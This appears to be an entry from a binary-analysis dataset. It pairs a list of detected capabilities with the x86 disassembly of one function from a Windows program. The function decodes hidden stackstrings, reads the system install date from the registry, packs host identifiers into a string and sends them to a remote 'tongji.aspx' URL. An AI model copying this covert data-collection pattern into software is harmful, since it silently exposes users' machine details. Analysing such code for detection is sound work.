Function at 0x405780
Capabilities:
Contain obfuscated stackstrings
Create http request
Query or enumerate registry value
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41fb0b
mov eax, dword fs:[0]
push eax
mov eax, 0x36a0
call fcn.004175d0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
xor eax, eax
mov dword [ebp - 0x367c], 0
push 0xffe
push eax
mov word [ebp - 0x2630], ax
lea eax, [ebp - 0x262e]
push eax
call fcn.004164b0
lea eax, [ebp - 0x2630]
mov dword [ebp - 0x36a8], 0
push eax
lea edx, [ebp - 0x367c]
lea ecx, [ebp - 0x36a8]
call fcn.004049a0
add esp, 0x10
cmp dword [ebp - 0x36a8], 0
jne 0x40584b
lea eax, [ebp - 0x2630]
push eax
lea edx, [ebp - 0x367c]
lea ecx, [ebp - 0x36a8]
call fcn.00404e50
add esp, 4
cmp dword [ebp - 0x36a8], 0
jne 0x40584b
call fcn.004055e0
test eax, eax
jne 0x40583f
mov dword [edi + 0x1048], 0xb
jmp 0x405855
mov dword [edi + 0x1048], 0
jmp 0x405855
mov dword [edi + 0x1048], 2
xor eax, eax
mov dword [ebp - 0x36ac], 0
push 0x62
push eax
mov word [ebp - 0x158], ax
lea eax, [ebp - 0x156]
push eax
call fcn.004164b0
add esp, 0xc
lea eax, [ebp - 0x158]
push eax
call fcn.004054f0
push dword [edi + 0x10b4]
lea eax, [ebp - 0x1bc]
push 0x425b58
push eax
call fcn.00406050
xor eax, eax
xorps xmm0, xmm0
push 0xa
mov word [ebp - 0xb8], ax
mov word [ebp - 0xa6], ax
mov word [ebp - 0xcc], ax
mov word [ebp - 0xba], ax
lea eax, [ebp - 0xb8]
push 0xa
push eax
push dword [edi + 0x1048]
movdqu xmmword [ebp - 0xb6], xmm0
movdqu xmmword [ebp - 0xca], xmm0
call fcn.0040cf30
push 0xa
push 0xa
lea eax, [ebp - 0xcc]
push eax
push dword [ebp - 0x367c]
call fcn.0040cf30
xor eax, eax
mov dword [ebp - 0xa4], 0x4f0053
push 0xfe
push eax
mov word [ebp - 0x4c], ax
mov word [ebp - 0x384], ax
lea eax, [ebp - 0x382]
push eax
mov dword [ebp - 0xa0], 0x540046
mov dword [ebp - 0x9c], 0x410057
mov dword [ebp - 0x98], 0x450052
mov dword [ebp - 0x94], 0x4d005c
mov dword [ebp - 0x90], 0x630069
mov dword [ebp - 0x8c], 0x6f0072
mov dword [ebp - 0x88], 0x6f0073
mov dword [ebp - 0x84], 0x740066
mov dword [ebp - 0x80], 0x57005c
mov dword [ebp - 0x7c], 0x6e0069
mov dword [ebp - 0x78], 0x6f0064
mov dword [ebp - 0x74], 0x730077
mov dword [ebp - 0x70], 0x4e0020
mov dword [ebp - 0x6c], 0x5c0054
mov dword [ebp - 0x68], 0x750043
mov dword [ebp - 0x64], 0x720072
mov dword [ebp - 0x60], 0x6e0065
mov dword [ebp - 0x5c], 0x560074
mov dword [ebp - 0x58], 0x720065
mov dword [ebp - 0x54], 0x690073
mov dword [ebp - 0x50], 0x6e006f
mov dword [ebp - 0x28], 0x6e0049
mov dword [ebp - 0x24], 0x740073
mov dword [ebp - 0x20], 0x6c0061
mov dword [ebp - 0x1c], str.nw_Z
mov dword [ebp - 0x18], 0x740061
mov dword [ebp - 0x14], 0x65
call fcn.004164b0
xorps xmm0, xmm0
mov dword [ebp - 0x3688], 0
movq qword [ebp - 0x3690], xmm0
add esp, 0x38
mov dword [ebp - 0x3690], 0
mov dword [ebp - 0x368c], 0
mov dword [ebp - 0x3688], 0
lea eax, [ebp - 0x367c]
mov dword [ebp - 4], 0
push eax
push 1
push 0
lea eax, [ebp - 0xa4]
mov dword [ebp - 0x3684], 0
push eax
push 0x80000002
mov dword [ebp - 0x367c], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x405ac2
mov esi, dword [ebp - 0x367c]
mov dword [ebp - 0x368c], eax
lea eax, [ebp - 0x367c]
push eax
lea eax, [ebp - 0x3684]
mov dword [ebp - 0x3690], esi
push eax
lea eax, [ebp - 0x3680]
mov dword [ebp - 0x367c], 4
push eax
push 0
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x3684]
lea eax, [ebp - 0x384]
push 0x4261f4
push eax
call fcn.004023d0
add esp, 0xc
lea eax, [ebp - 0x384]
push eax
mov eax, dword [edi + 0x10b4]
add eax, 0x548e
push eax
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0xb8]
push eax
lea eax, [ebp - 0x3678]
push str.m:__s_b:__s_mc:__s_du:_d_u911o9__s__8kojxf
push eax
call fcn.00406070
add esp, 0x1c
lea eax, [ebp - 0x3678]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x36a8], eax
test eax, eax
jle 0x405fe0
inc eax
push eax
mov dword [ebp - 0x367c], eax
call fcn.0040c42d
mov esi, eax
add esp, 4
mov dword [ebp - 0x3680], esi
test esi, esi
je 0x405fe0
push dword [ebp - 0x367c]
push 0
push esi
call fcn.004164b0
add esp, 0xc
lea eax, [ebp - 0x3678]
push 0
push 0
push dword [ebp - 0x36a8]
push esi
push 0xffffffffffffffff
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ecx, esi
call fcn.00406770
cmp dword [0x42f8fc], 0
jne 0x405b8a
xor esi, esi
jmp 0x405ba0
mov ecx, 0x42f8d0
call fcn.00405710
mov esi, eax
mov dword [ebp - 0x36a8], esi
test esi, esi
jne 0x405bbb
mov eax, dword [0x42f8f4]
test eax, eax
je 0x405fa9
push eax
call fcn.0040bbdc
add esp, 4
jmp 0x405fa9
mov eax, dword [0x42f8f4]
test eax, eax
je 0x405bcd
push eax
call fcn.0040bbdc
add esp, 4
push dword [edi + 0x10b0]
xor eax, eax
xorps xmm0, xmm0
mov word [ebp - 0xf4], ax
mov dword [ebp - 0xd2], eax
mov word [ebp - 0xce], ax
lea eax, [ebp - 0xf4]
push 0x4261c8
push eax
movdqu xmmword [ebp - 0xf2], xmm0
movdqu xmmword [ebp - 0xe2], xmm0
call fcn.00406090
push 0x4261d4
lea eax, [ebp - 0x1630]
push 0x824
push eax
call fcn.0040c1d8
lea eax, [ebp - 0x1bc]
push eax
lea eax, [ebp - 0x1630]
push 0x824
push eax
call fcn.0040c234
push 0x4261d4
lea eax, [ebp - 0x1630]
push 0x824
push eax
call fcn.0040c234
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x1630]
push 0x824
push eax
call fcn.0040c234
push 0x4261d4
lea eax, [ebp - 0x1630]
push 0x824
push eax
call fcn.0040c234
add esp, 0x48
lea eax, [ebp - 0x1630]
push esi
push 0x824
push eax
call fcn.0040c234
lea eax, [ebp - 0xf4]
push eax
lea eax, [ebp - 0x1630]
push 0x824
push eax
call fcn.0040c234
lea eax, [ebp - 0xb8]
push eax
lea eax, [ebp - 0x1630]
push 0x824
push eax
call fcn.0040c234
push 0x4261d4
lea eax, [ebp - 0x1630]
push 0x824
push eax
call fcn.0040c234
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0x1630]
push 0x824
push eax
call fcn.0040c234
push 0x4261d4
lea eax, [ebp - 0x1630]
push 0x824
push eax
call fcn.0040c234
add esp, 0x48
lea eax, [ebp - 0x2630]
push eax
lea eax, [ebp - 0x1630]
push 0x824
push eax
call fcn.0040c234
push 0x4261d4
lea eax, [ebp - 0x1630]
push 0x824
push eax
call fcn.0040c234
lea eax, [ebp - 0x384]
push eax
lea eax, [ebp - 0x1630]
push 0x824
push eax
call fcn.0040c234
push 0x4261d8
lea eax, [ebp - 0x1630]
push 0x824
push eax
call fcn.0040c234
add esp, 0x30
lea eax, [ebp - 0x1630]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov esi, eax
lea ecx, [esi + 1]
push ecx
call fcn.0040d503
add esp, 4
mov dword [ebp - 0x367c], eax
push 0
push 0
push esi
mov esi, eax
lea eax, [ebp - 0x1630]
push esi
push 0xffffffffffffffff
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test esi, esi
je 0x405fa3
push 0x1ff
lea eax, [ebp - 0x583]
mov byte [ebp - 0x584], 0
push 0
push eax
call fcn.004164b0
add esp, 0xc
cmp dword [0x42f8cc], 0
je 0x405fa3
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405df1
sub ecx, edx
lea eax, [ebp - 0x584]
push ecx
push esi
push eax
call fcn.004011c0
push esi
call fcn.0040baea
add esp, 4
lea ecx, [ebp - 0x584]
call fcn.004056b0
mov esi, eax
test esi, esi
je 0x405fa3
push 0x200
lea eax, [ebp - 0x584]
push 0
push eax
call fcn.004164b0
mov ecx, esi
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405e41
sub ecx, edx
lea eax, [ebp - 0x584]
push ecx
push esi
push eax
call fcn.004011c0
push esi
call fcn.0040bbdc
add esp, 4
lea ecx, [ebp - 0x584]
call fcn.00405710
mov esi, eax
test esi, esi
je 0x405fa3
push edi
lea eax, [ebp - 0x1630]
push 0x824
push eax
call fcn.0040c1d8
xor eax, eax
mov dword [ebp - 0x48], 0x6f0074
mov word [ebp - 0x2c], ax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x1630]
mov dword [ebp - 0x44], 0x67006e
push 0x824
push eax
mov dword [ebp - 0x40], 0x69006a
mov dword [ebp - 0x3c], 0x61002e
mov dword [ebp - 0x38], 0x700073
mov dword [ebp - 0x34], 0x3f0078
mov dword [ebp - 0x30], 0x3d0064
call fcn.0040c234
push esi
lea eax, [ebp - 0x1630]
push 0x824
push eax
call fcn.0040c234
add esp, 0x24
lea eax, [ebp - 0x36a4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
xor eax, eax
push 0xc6
push eax
mov word [ebp - 0x284], ax
lea eax, [ebp - 0x282]
push eax
call fcn.004164b0
movzx eax, word [ebp - 0x369e]
push eax
movzx eax, word [ebp - 0x36a2]
push eax
lea eax, [edi + 0x104c]
push eax
lea eax, [ebp - 0x284]
push str._s__d__d
push eax
call fcn.004060b0
add esp, 0x20
lea eax, [ebp - 0x284]
push 0
push 0
push 0
push 0
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x36ac], eax
test eax, eax
je 0x405fa3
push 0
push 0x80000000
push 0
push 0
lea ecx, [ebp - 0x1630]
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov edi, eax
test edi, edi
je 0x405f9b
lea eax, [ebp - 0x3694]
mov dword [ebp - 0x3694], 0
push eax
push 0x64
lea eax, [ebp - 0x5e8]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov esi, dword [ebp - 0x36a8]
jmp 0x405fab
mov esi, dword [ebp - 0x36a8]
xor edi, edi
push dword [ebp - 0x3680]
call fcn.0040bbdc
add esp, 4
test esi, esi
je 0x405fc6
push esi
call fcn.0040bbdc
add esp, 4
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
test edi, edi
je 0x405fd3
push edi
call esi
mov eax, dword [ebp - 0x36ac]
test eax, eax
je 0x405fe0
push eax
call esi
mov eax, dword [ebp - 0x3690]
test eax, eax
je 0x405ff1
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b999
mov esp, ebp
pop ebp
ret